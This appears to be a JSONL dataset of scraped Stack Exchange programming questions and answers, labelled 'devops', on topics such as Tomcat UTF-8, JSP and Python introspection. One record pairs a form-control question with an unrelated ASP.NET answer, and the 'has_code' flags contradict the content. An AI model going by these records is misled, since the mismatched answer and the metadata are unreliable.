\"Petteri\" are found and also all users with the name \"ж\" are found.\nBut what about äåö?\nHTTP-specification defines that by default URLs are encoded as latin1. This results in firefox2, firefox3 etc. encoding the following\n```\n```\nhttps://localhost:8443/ID/Users?action=search&name=*Päivi*\n```\n```\nin to the encoded version\n```\n```\nhttps://localhost:8443/ID/Users?action=search&name=*P%E4ivi*\n```\n```\nIn latin1 the character\nä\nis encoded as\n%E4\n.\nEven though the page/request/everything is defined to use UTF-8\n. The UTF-8 encoded version of ä is\n%C3%A4\nThe result of this is that it's quite impossible for the webapp to correly handle the request parameters from GET requests as some characters are encoded in latin1 and others in UTF-8.\nNotice: POST requests do work as browsers encode all request parameters from forms completely in UTF-8 if the page is defined as being UTF-8\nStuff to read\nA very big thank you for the writers of the following for giving the answers for my problem:\nhttp://tagunov.tripod.com/i18n/i18n.html\nhttp://wiki.apache.org/tomcat/Tomcat/UTF-8\nhttp://java.sun.com/developer/technicalArticles/Intl/HTTPCharset/\nhttp://dev.mysql.com/doc/refman/5.0/en/charset-syntax.html\nhttp://cagan327.blogspot.com/2006/05/utf-8-encoding-fix-tomcat-jsp-etc.html\nhttp://cagan327.blogspot.com/2006/05/utf-8-encoding-fix-for-mysql-tomcat.html\nhttp://jeppesn.dk/utf-8.html\nhttp://www.nabble.com/request-parameters-mishandle-utf-8-encoding-td18720039.html\nhttp://www.utoronto.ca/webdocs/HTMLdocs/NewHTML/iso_table.html\nhttp://www.utf8-chartable.de/\nImportant Note\nmysql\nsupports the\nBasic Multilingual Plane\nusing 3-byte UTF-8 characters. If you need to go outside of that (certain alphabets require more than 3-bytes of UTF-8), then you either need to use a flavor of\n```\nVARBINARY\n```\ncolumn type or use the\n```\nutf8mb4\n```\ncharacter set\n(which requires MySQL 5.5.3 or later). Just be aware that using the\n```\nutf8\n```\ncharacter set in MySQL won't work 100% of the time.\nTomcat with Apache\nOne more thing If you are using Apache + Tomcat + mod_JK connector then you also need to do following changes:\nAdd URIEncoding=\"UTF-8\" into tomcat server.xml file for 8009 connector, it is used by mod_JK connector.\n```\n<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\" URIEncoding=\"UTF-8\"/>\n```\nGoto your apache folder i.e.\n```\n/etc/httpd/conf\n```\nand add\n```\nAddDefaultCharset utf-8\n```\nin\n```\nhttpd.conf file\n```\n.\nNote:\nFirst check that it is exist or not. If exist you may update it with this line. You can add this line at bottom also.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.281160"}
{"id": "hf_ae34f3c26101", "question": "<p>When I save a file with an .htm or .html extension, which one is correct and what is different?</p>\n", "question_body": "", "answer": "Neither is wrong, it's a matter of preference. Traditionally, MS software uses\n```\nhtm\n```\nby default, and *nix prefers\n```\nhtml\n```\n.\nAs oded pointed out below, the .htm tradition was carried over from win 3.xx, where file extensions were limited to three characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.322296"}
{"id": "hf_d1abc123aa4e", "question": "<p>Is there any way to find out if a file is a directory?</p>\n\n<p>I have the file name in a variable. In Perl I can do this:</p>\n\n<pre><code>if(-d $var) { print \"it's a directory\\n\" }\n</code></pre>\n", "question_body": "", "answer": "You can do it like so:\n```\n```\nIF EXIST %VAR%\\NUL ECHO It's a directory\n```\n```\nHowever, this only works for directories without spaces in their names.  When you add quotes round the variable to handle the spaces it will stop working.  To handle directories with spaces, convert the filename to short 8.3 format as follows:\n```\n```\nFOR %%i IN (%VAR%) DO IF EXIST %%~si\\NUL ECHO It's a directory\n```\n```\nThe\n```\n%%~si\n```\nconverts\n```\n%%i\n```\nto an 8.3 filename.  To see all the other tricks you can perform with\n```\nFOR\n```\nvariables enter\n```\nHELP FOR\n```\nat a command prompt.\n(Note - the example given above is in the format to work in a batch file. To get it work on the command line, replace the\n```\n%%\n```\nwith\n```\n%\n```\nin both places.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.358539"}
{"id": "hf_df764e1535da", "question": "<p>I just started learning JSP technology, and came across a wall.</p>\n\n<p><em>How do you output HTML from a method in &lt;%! ... %> JSP declaration block?</em></p>\n\n<p>This doesn't work:</p>\n\n<pre><code>&lt;%! \nvoid someOutput() {\n    out.println(\"Some Output\");\n}\n%&gt;\n...\n&lt;% someOutput(); %&gt;\n</code></pre>\n\n<p>Server says there's no &ldquo;out&rdquo;.</p>\n\n<p><strong>U:</strong> I do know how to rewrite code with this method returning a string, but is there a way to do this inside &lt;%! void () {  } %> ? Though it may be non-optimal, it's still interesting.</p>\n", "question_body": "", "answer": "You can't use the 'out' variable (nor any of the other \"predeclared\" scriptlet variables) inside directives.\nThe JSP page gets translated by your webserver into a Java servlet. Inside tomcats, for instance, everything inside scriptlets (which start \"<%\"), along with all the static HTML, gets translated into one giant Java method which writes your page, line by line, to a JspWriter instance called \"out\". This is why you can use the \"out\" parameter directly in scriptlets. Directives, on the other hand (which start with \"<%!\") get translated as separate Java methods.\nAs an example, a very simple page (let's call it foo.jsp):\n```\n```\n<html>\n    <head/>\n    <body>\n        <%!\n            String someOutput() {\n                return \"Some output\";\n            }\n        %>\n        <% someOutput(); %>\n    </body>\n</html>\n```\n```\nwould end up looking something like this (with a lot of the detail ignored for clarity):\n```\n```\npublic final class foo_jsp\n{\n    // This is where the request comes in\n    public void _jspService(HttpServletRequest request, HttpServletResponse response) \n        throws IOException, ServletException\n    {\n        // JspWriter instance is gotten from a factory\n        // This is why you can use 'out' directly in scriptlets\n        JspWriter out = ...; \n\n        // Snip\n\n        out.write(\"<html>\");\n        out.write(\"<head/>\");\n        out.write(\"<body>\");\n        out.write(someOutput()); // i.e. write the results of the method call\n        out.write(\"</body>\");\n        out.write(\"</html>\");\n    }\n\n    // Directive gets translated as separate method - note\n    // there is no 'out' variable declared in scope\n    private String someOutput()\n    {\n        return \"Some output\";\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.394576"}
{"id": "hf_f1e2ce2b2348", "question": "<p>Dear Stacktoverflow, can you show me an example of how to use a QScrollBar? Thanks.</p>\n", "question_body": "", "answer": "It will come down to you using the QScrollArea, it is a widget that implements showing something that is larger than the available space. You will not need to use QScrollBar directly. I don't have a PyQt example but there is a C++ example in the QT distribution it is called the \"Image Viewer\". The object hierarchy will still be the same", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.432629"}
{"id": "hf_4ed831ecfc18", "question": "<p>I need to find out the file/directory name that a .lnk is pointing to using c#.</p>\n\n<p>What is the simplest way to do this?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "This may help:\nhttp://www.neowin.net/forum/index.php?s=3ad7f1ffb995ba84999376f574e9250f&showtopic=658928&st=0&p=589667108&#entry589667108\nIn essence...\nAdd reference to Windows Script Host Object Model in COM tab of Add Reference dialogue.\n```\n```\nIWshRuntimeLibrary.IWshShell shell = new IWshRuntimeLibrary.WshShell();\n\nIWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(link);\n\nConsole.WriteLine(shortcut.TargetPath);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.456042"}
{"id": "hf_fa84178a1dc5", "question": "<p>I have a bunch of PDF files and my Perl program needs to do a full-text search of them to return which ones contain a specific string.\nTo date I have been using this:</p>\n\n<pre><code>my @search_results = `grep -i -l \\\"$string\\\" *.pdf`;\n</code></pre>\n\n<p>where $string is the text to look for.\nHowever this fails for most pdf's because the file format is obviously not ASCII.</p>\n\n<p>What can I do that's easiest?</p>\n\n<p>Clarification:\nThere are about 300 pdf's whose name I do not know in advance. PDF::Core is probably overkill. I am trying to get pdftotext and grep to play nice with each other given I don't know the names of the pdf's, I can't find the right syntax yet.</p>\n\n<p>Final solution using Adam Bellaire's suggestion below:</p>\n\n<pre><code>@search_results = `for i in \\$( ls ); do pdftotext \\$i - | grep --label=\"\\$i\" -i -l \"$search_string\"; done`;\n</code></pre>\n", "question_body": "", "answer": "The PerlMonks thread\nhere\ntalks about this problem.\nIt seems that for your situation, it might be simplest to get\npdftotext\n(the command line tool), then you can do something like:\n```\n```\nmy @search_results = `pdftotext myfile.pdf - | grep -i -l \\\"$string\\\"`;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.492521"}
{"id": "hf_d3007ca150f7", "question": "<p>I'd like my application to have a full-screen mode. What is the easiest way to do this, do I need a third party library for this or is there something in the JDK that already offers this?</p>\n", "question_body": "", "answer": "Try the\nFull-Screen Exclusive Mode API\n.  It was introduced in the JDK in release 1.4.  Some of the features include:\nFull-Screen Exclusive Mode\n- allows you to suspend the windowing system so that drawing can be done directly to the screen.\nDisplay Mode\n- composed of the size (width and height of the monitor, in pixels), bit depth (number of bits per pixel), and refresh rate (how frequently the monitor updates itself).\nPassive vs. Active Rendering\n- painting while on the main event loop using the paint method is passive, whereas rendering in your own thread is active.\nDouble Buffering and Page Flipping\n- Smoother drawing means better perceived performance and a much better user experience.\nBufferStrategy and BufferCapabilities\n- classes that allow you to draw to surfaces and components without having to know the number of buffers used or the technique used to display them, and help you determine the capabilities of your graphics device.\nThere are several full-screen exclusive mode examples in the linked tutorial.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.516264"}
{"id": "hf_2a356020e452", "question": "<p>I have a Java String that contains XML, with no line feeds or indentations. I would like to turn it into a String with nicely formatted XML. How do I do this?</p>\n\n<pre><code>String unformattedXml = \"&lt;tag&gt;&lt;nested&gt;hello&lt;/nested&gt;&lt;/tag&gt;\";\nString formattedXml = new [UnknownClass]().format(unformattedXml);\n</code></pre>\n\n<p>Note: My input is a <strong>String</strong>. My output is a <strong>String</strong>. </p>\n\n<p>(Basic) mock result:</p>\n\n\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;root&gt;\n  &lt;tag&gt;\n    &lt;nested&gt;hello&lt;/nested&gt;\n  &lt;/tag&gt;\n&lt;/root&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nTransformer transformer = TransformerFactory.newInstance().newTransformer();\ntransformer.setOutputProperty(OutputKeys.INDENT, \"yes\");\ntransformer.setOutputProperty(\"{http://xml.apache.org/xslt}indent-amount\", \"2\");\n// initialize StreamResult with File object to save to file\nStreamResult result = new StreamResult(new StringWriter());\nDOMSource source = new DOMSource(doc);\ntransformer.transform(source, result);\nString xmlString = result.getWriter().toString();\nSystem.out.println(xmlString);\n```\n```\nNote: Results may vary depending on the Java version. Search for workarounds specific to your platform.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.587826"}
{"id": "hf_719b0e6b4ed2", "question": "<p>Does anyone know how to get the HTML out of an IFRAME I have tried several different ways:</p>\n\n<pre><code>document.getElementById('iframe01').contentDocument.body.innerHTML\ndocument.frames['iframe01'].document.body.innerHTML\ndocument.getElementById('iframe01').contentWindow.document.body.innerHTML\n</code></pre>\n\n<p>etc</p>\n", "question_body": "", "answer": "If you take a look at\nJQuery\n, you can do something like:\n```\n```\n<iframe id=\"my_iframe\" ...></iframe>\n\n$('#my_iframe').contents().find('html').html();\n```\n```\nThis is assuming that your iframe parent and child reside on the same server, due to the\nSame Origin Policy\nin Javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.649147"}
{"id": "hf_d273bf4f0c74", "question": "<p>i have a number of jsp files under web-inf folder. Inside my web.xml i specify an errorppage for 404 amd 403 and java.lang.exception. Do i need to include a page directive for each of my jsp's or will they automatically get forwarded to the exception handling page because they are under web-inf?</p>\n\n<p>If this is true does this mean that jsps which are not placed under web-inf do need to have the page directive added in order to forward them to the exception handling page?</p>\n\n<p>thank you ,  im just trying to understand the consequences of web-inf</p>\n", "question_body": "", "answer": "You just need to have whatever errorpage you would like to use in your app available with all the other jsps.  So in the following example you would just need to have the error pages in the root of the context path(where all of the other jsps are).  Anytime the webapp receives a 404 or 403 error it will try to display one of these pages. .\n```\n```\n<error-page> \n   <error-code>404</error-code> \n   <location>/404Error.jsp</location> \n</error-page>\n<error-page> \n   <error-code>403</error-code> \n   <location>/403Error.jsp</location> \n</error-page>\n```\n```\nJust make sure 404Error.jsp and 403Error.jsp contain:\n```\n```\n<%@ page isErrorPage=\"true\" %>\n```\n```\nIf you are actually using jsps for error pages (instead of just static html)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.673113"}
{"id": "hf_a82e7b6c417f", "question": "<p>I am building a menu in HTML/CSS/JS and I need a way to prevent the text in the menu from being highlighted when double-clicked on. I need a way to pass the id's of several divs into a function and have highlighting turned off within them. </p>\n\n<p>So when the user accidentally (or on purpose) double clicks on the menu, the menu shows its sub-elements but its text does not highlight.</p>\n\n<p>There are a number of scripts out there floating around on the web, but many seem outdated. What's the best way?</p>\n", "question_body": "", "answer": "You could:\nGive it (\"it\" being your text) a onclick event\nFirst click sets a variable to the current time\nSecond click checks to see if that variable is x time from the current, current time (so a double click over, for example, 500ms, doesn't register as a double click)\nIf it\nis\na double click, do something to the page like adding hidden HTML, doing document.focus(). You'll have to experiment with these as some might cause unwanted scrolling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.724081"}
{"id": "hf_4f173d830a88", "question": "<p>I have a Python module installed on my system and I'd like to be able to see what functions/classes/methods are available in it.</p>\n<p>I want to call the <code>help</code> function on each one. In Ruby I can do something like <code>ClassName.methods</code> to get a list of all the methods available on that class. Is there something similar in Python?</p>\n<p>e.g. something like:</p>\n<pre><code>from somemodule import foo\nprint(foo.methods)  # or whatever is the correct method to call\n</code></pre>\n", "question_body": "", "answer": "You can use\n```\ndir(module)\n```\nto see all available methods/attributes.  Also check out PyDocs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.748177"}
{"id": "hf_0def3841a0e0", "question": "<p>So many different controls to choose from!  What are best practices for determining which control to use for displaying data in ASP.NET?</p>\n", "question_body": "", "answer": "It all comes down to how you want to layout your data.\nIf you need to control the layout (like tables versus CSS versus whatever), when use a Repeater or ListView. Between the two, ListView gives you a lot more events and built-in commands for editing, selecting, inserting. Additionally paging and grouping functionality. A Repeater is extremely simple, it repeats a layout with the data. Since you're building the layout by hand, Listview and Repeater require more code.\nGridView is an updated DataGrid so there is hardly any reason to use DataGrid. GridView works really well when hooked up to standard ASP.NET datasources, but restricts you to a tabular layout with lots of layout rules. GridView requires less code since you're using a built-in layout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.784409"}
{"id": "hf_0455132d0b8a", "question": "<p>Or do you populate your form controls manually by a method?</p>\n\n<p>Is either considered a best practice?</p>\n", "question_body": "", "answer": "It all comes down to how you want to layout your data.\nIf you need to control the layout (like tables versus CSS versus whatever), when use a Repeater or ListView. Between the two, ListView gives you a lot more events and built-in commands for editing, selecting, inserting. Additionally paging and grouping functionality. A Repeater is extremely simple, it repeats a layout with the data. Since you're building the layout by hand, Listview and Repeater require more code.\nGridView is an updated DataGrid so there is hardly any reason to use DataGrid. GridView works really well when hooked up to standard ASP.NET datasources, but restricts you to a tabular layout with lots of layout rules. GridView requires less code since you're using a built-in layout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.808632"}
{"id": "hf_0e49db9964f7", "question": "<p>I've added cookie support to SOAPpy by overriding HTTPTransport.  I need functionality beyond that of SOAPpy, so I was planning on moving to ZSI, but I can't figure out how to put the Cookies on the ZSI posts made to the service.  Without these cookies, the server will think it is an unauthorized request and it will fail.</p>\n\n<p>How can I add cookies from a Python CookieJar to ZSI requests?</p>\n", "question_body": "", "answer": "If you read the\n_Binding class in client.py of ZSI\nyou can see that it has a variable cookies, which is an instance of\nCookie.SimpleCookie\n. Following the\nZSI example\nand the\nCookie example\nthat is how it should work:\n```\n```\nb = Binding(url='/cgi-bin/simple-test', tracefile=fp)\nb.cookies['foo'] = 'bar'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.832761"}
{"id": "hf_38eef55d1b02", "question": "<p>The most egregiously redundant code construct I often see involves using the code sequence</p>\n\n<pre><code>if (condition)\n    return true;\nelse\n    return false;\n</code></pre>\n\n<p>instead of simply writing</p>\n\n<pre><code>return (condition);\n</code></pre>\n\n<p>I've seen this beginner error in all sorts of languages: from Pascal and C to PHP and Java.  What other such constructs would you flag in a code review?</p>\n", "question_body": "", "answer": "Returning uselessly at the end:\n```\n```\n// stuff\n   return;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.856109"}
{"id": "hf_211a81651437", "question": "<p>When you are learning a new language, what is there a particularly good/effective exercise to help get the hang of it? And why?</p>\n\n<p>EDIT:\nPreferably looking for things that are more complicated that 'Hello World'.</p>\n", "question_body": "", "answer": "'hello world!'\nI really do think this a good place to start. Its basic and only takes a few seconds but you make sure your compiler is running and you have everything in place.  Once you have that done you can keep going. Add a variable, print to database, print to file.  Make sure you know how to leave comments.  This could all take a mater of 5 minutes. But its important stuff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.893319"}
{"id": "hf_f7155e0d5448", "question": "<p>How to get the relative path in t sql? Take for example a <code>.sql</code> file is located in the folder <code>D:\\temp</code>, I want to get path of the file hello.txt in the folder  <code>D:\\temp\\App_Data</code>. How to use the relative path reference?</p>\n<p>Let's say I am executing the sql file inside the SQL server management studio.</p>\n", "question_body": "", "answer": "The .sql file is just.... a file.  It doesn't have any sense of its own location.  It's the thing that excutes it (which you didn't specify) that would have a sense of its location, the file's location.\nI notice that you mentioned an App_Data folder, so I guess that ASP.NET is involved.  If you want to use relative paths in your web app, see MapPath\nhttp://msdn.microsoft.com/en-us/library/system.web.httpserverutility.mappath.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.917377"}
{"id": "hf_d9519318118e", "question": "<p>what is an efficient way to get a certain time for the next day in Java?\nLet's say I want the long for tomorrow 03:30:00.\nSetting Calendar fields and Date formatting are obvious.\nBetter or smarter ideas, thanks for sharing them!</p>\n\n<p>Okami</p>\n", "question_body": "", "answer": "I'm curious to hear what other people have to say about this one. My own experience is that taking shortcuts (i.e., \"better or smarter ideas\") with\n```\nDate\n```\ns almost always lands you in trouble. Heck, just using\n```\njava.util.Date\n```\nis asking for trouble.\nAdded: Many have recommended\nJoda Time\nin other Date-related threads.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:32.977899"}
{"id": "hf_84bd03957562", "question": "<p>How to set all the values in a <code>std::map</code> to the same value, without using a loop iterating over each value? </p>\n", "question_body": "", "answer": "Using a loop\nis\nby far the simplest method. In fact, it’s a one-liner:\n[C++17]\n```\n```\nfor (auto& [_, v] : mymap) v = value;\n```\n```\nUnfortunately C++ algorithm support for associative containers isn’t great pre-C++20. As a consequence, we can’t directly use\n```\nstd::fill\n```\n.\nTo use them anyway (pre-C++20), we need to write adapters — in the case of\n```\nstd::fill\n```\n, an iterator adapter. Here’s a minimally viable (but not really conforming) implementation to illustrate how much effort this is. I do\nnot\nadvise using it as-is. Use a library (such as\nBoost.Iterator\n) for a more general, production-strength implementation.\n```\n```\ntemplate <typename M>\nstruct value_iter : std::iterator<std::bidirectional_iterator_tag, typename M::mapped_type> {\n    using base_type = std::iterator<std::bidirectional_iterator_tag, typename M::mapped_type>;\n    using underlying = typename M::iterator;\n    using typename base_type::value_type;\n    using typename base_type::reference;\n\n    value_iter(underlying i) : i(i) {}\n\n    value_iter& operator++() {\n        ++i;\n        return *this;\n    }\n\n    value_iter operator++(int) {\n        auto copy = *this;\n        i++;\n        return copy;\n    }\n\n    reference operator*() { return i->second; }\n\n    bool operator ==(value_iter other) const { return i == other.i; }\n    bool operator !=(value_iter other) const { return i != other.i; }\n\nprivate:\n    underlying i;\n};\n\ntemplate <typename M>\nauto value_begin(M& map) { return value_iter<M>(map.begin()); }\n\ntemplate <typename M>\nauto value_end(M& map) { return value_iter<M>(map.end()); }\n```\n```\nWith this, we can use\n```\nstd::fill\n```\n:\n```\n```\nstd::fill(value_begin(mymap), value_end(mymap), value);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.013655"}
{"id": "hf_d2331107fc78", "question": "<p>In a user defined wizard page, is there a way to capture change or focus events of the controls? I want to provide an immediate feedback on user input in some dropdowns (e.g. a message box)</p>\n", "question_body": "", "answer": "Since the scripting in innosetup is loosely based on Delphi, the controls should have some events like\n```\nOnEnter\n```\n(= control got focus) and\n```\nOnExit\n```\n(= control lost focus).  You can assign procedures to these events, something like this:\n    ComboBox.OnExit := ComboBoxExit;\n```\n```\nprocedure ComboBoxExit(Sender: TObject);\nbegin\n\nend;\n```\n```\nI don't have access to Innosetup right now, so you will need to lookup the available events and parameters for the procedures.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.050815"}
{"id": "hf_079ba6d0bd94", "question": "<p>I mean, how does Java decide which protocols are available? I run some code from inside Eclipse, and it works just fine. Then I run the same code from outside Eclipse, and I get \"unknown protocol\" MalformedURLException. Probably it has to do with the code base, or something? Any hints would be helpful.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The work of resolving the protocol is done by the\n```\nURLStreamHandler\n```\n, which are stored in\n```\nURL.handlers\n```\nby protocol in lowercase. The handler, in turn, is created by the\n```\nURLStreamHandlerFactory\n```\nat\n```\nURL.factory\n```\n. Maybe eclipse is monkeying with that?\nSome of the\nURL constructors\ntake stream handlers and you can set the factory with\nURL.setURLStreamHandlerFactory\n.\nHere's a web post about\ndeveloping protocol handlers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.090033"}
{"id": "hf_164e4a930f64", "question": "<p>I've worked on a few projects managed through the use of a Gantt chart.  Some of these have has a massive number of tasks and the project manager spends all their time wrestling with MS Project instead of making good choices.</p>\n\n<p>I can see the point if there are a number of separate teams working towards something (e.g. legal, IT, marketing) to manage a project overall.</p>\n\n<p>Has anyone participated in a software development project that has used a Gantt chart with any success?</p>\n", "question_body": "", "answer": "A Gantt chart is only useful if it has sufficient details for a project manager to see what is the status of the project, and to have dependencies and resources properly accounted for.\nYou can always stick several sheets together with sticky tape.\nThe discipline of analyzing the project - breaking it down into phases, steps, deliverables,  determining the resource requirements is probably even more important than printing out a pretty chart.\nMany of my non-trivial development projects have benefited from the sensible use of project planning tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.199426"}
{"id": "hf_413b36f23bce", "question": "<p>Should I stick with Sun's Java code conventions for PHP code?</p>\n", "question_body": "", "answer": "For PHP, i'd suggest to follow\nZends suggestions\nAs you might know,\nZend is the most widely used framework!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.222916"}
{"id": "hf_72932ee5e231", "question": "<p>I'd like to capture the output of <a href=\"http://us3.php.net/manual/en/function.var-dump.php\" rel=\"noreferrer\"><code>var_dump</code></a> to a string.</p>\n\n<p>The PHP documentation says;</p>\n\n<blockquote>\n  <p>As with anything that outputs its result directly to the browser, the <a href=\"http://us3.php.net/manual/en/ref.outcontrol.php\" rel=\"noreferrer\">output-control functions</a> can be used to capture the output of this function, and save it in a string (for example).</p>\n</blockquote>\n\n<p>What would be an example of how that might work?</p>\n\n<p><code>print_r()</code> isn't a valid possibility, because it's not going to give me the information that I need.</p>\n", "question_body": "", "answer": "Use output buffering:\n```\n```\n<?php\nob_start();\nvar_dump($someVar);\n$result = ob_get_clean();\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.258272"}
{"id": "hf_e228ad3b1d49", "question": "<p>I made a class from Linq to SQL Clasees with VS 2008 SP1 Framework 3.5 SP1, in this case I extended the partial</p>\n\n<pre><code>partial void UpdateMyTable(MyTable instance){\n   // Business logic\n   // Validation rules, etc.\n}\n</code></pre>\n\n<p>My problem is when I execute db.SubmitChanges(), it executes UpdateMyTable and makes the validations but it doesn't update, I get this error:</p>\n\n<pre><code>[Exception: Deliver]\n   System.Data.Linq.ChangeProcessor.SendOnValidate(MetaType type, TrackedObject item, ChangeAction changeAction) +197\n   System.Data.Linq.ChangeProcessor.ValidateAll(IEnumerable`1 list) +255\n   System.Data.Linq.ChangeProcessor.SubmitChanges(ConflictMode failureMode) +76\n   System.Data.Linq.DataContext.SubmitChanges(ConflictMode failureMode) +331\n   System.Data.Linq.DataContext.SubmitChanges() +19\n</code></pre>\n", "question_body": "", "answer": "if you provide this method, you must perform the update in the method.\nhttp://msdn.microsoft.com/en-us/library/bb882671.aspx\nIf you implement the Insert, Update and Delete methods in your partial class, the LINQ to SQL runtime will call them\ninstead\nof its own default methods when SubmitChanges is called.\nTry\nMiTabla.OnValidate", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.331322"}
